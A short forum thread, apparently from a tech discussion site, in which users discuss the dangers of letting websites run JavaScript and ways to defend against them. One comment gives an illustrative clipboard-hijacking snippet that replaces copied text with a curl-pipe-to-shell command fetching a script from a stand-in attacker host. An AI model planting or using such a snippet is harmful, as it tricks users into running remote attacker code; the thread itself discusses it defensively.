5 ms·
Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely. Basic malware JavaScript snippet: <script>
by egberts1 3y ago
Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely.
Basic malware JavaScript snippet:
<script>
document.getElementById('copy').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault();
});
</script>
- westernpopular 3y agoThis particular attack is actually not a concern if you're using fish (or zsh for that matter I think), as it will not execute pasted content without an additional pressing of the enter key.
- account42 3y agoIt's still a concern because there will be users reflexively pressing enter without checking what they pasted if it's the expected value most of the time. Meanwhile there is zero benefit for letting websites manipulate the clipboard or intercept basic browser interactions. This might make sense for applications but that's just another argument why those shouldn't be forced into the same browser as websites.
- fruitreunion1 3y agoYeah, I'm disappointed there's no permission toggle so that I could have javascript-based clipboard setting behind a prompt on most websites and have exceptions for others.
- egberts1 3y agoSound like an enhancement feature request for NoScript or UBlock Origin, no?
- fruitreunion1 3y agoBash also buffers pasted content.
- jabart 3y agoIf you are working in a shell like that you should have outbound ports locked down and a list of allowed domains set in your proxy. Add in some antivirus and password sudo check and plenty of ways to catch this
- egberts1 3y agoThats why i have a lexical and intermediate representative (IR) code examiner of JavaScript running as an ICAP server capturing all HTTP/HTTPS connections. No fear, there. No need for all that other things.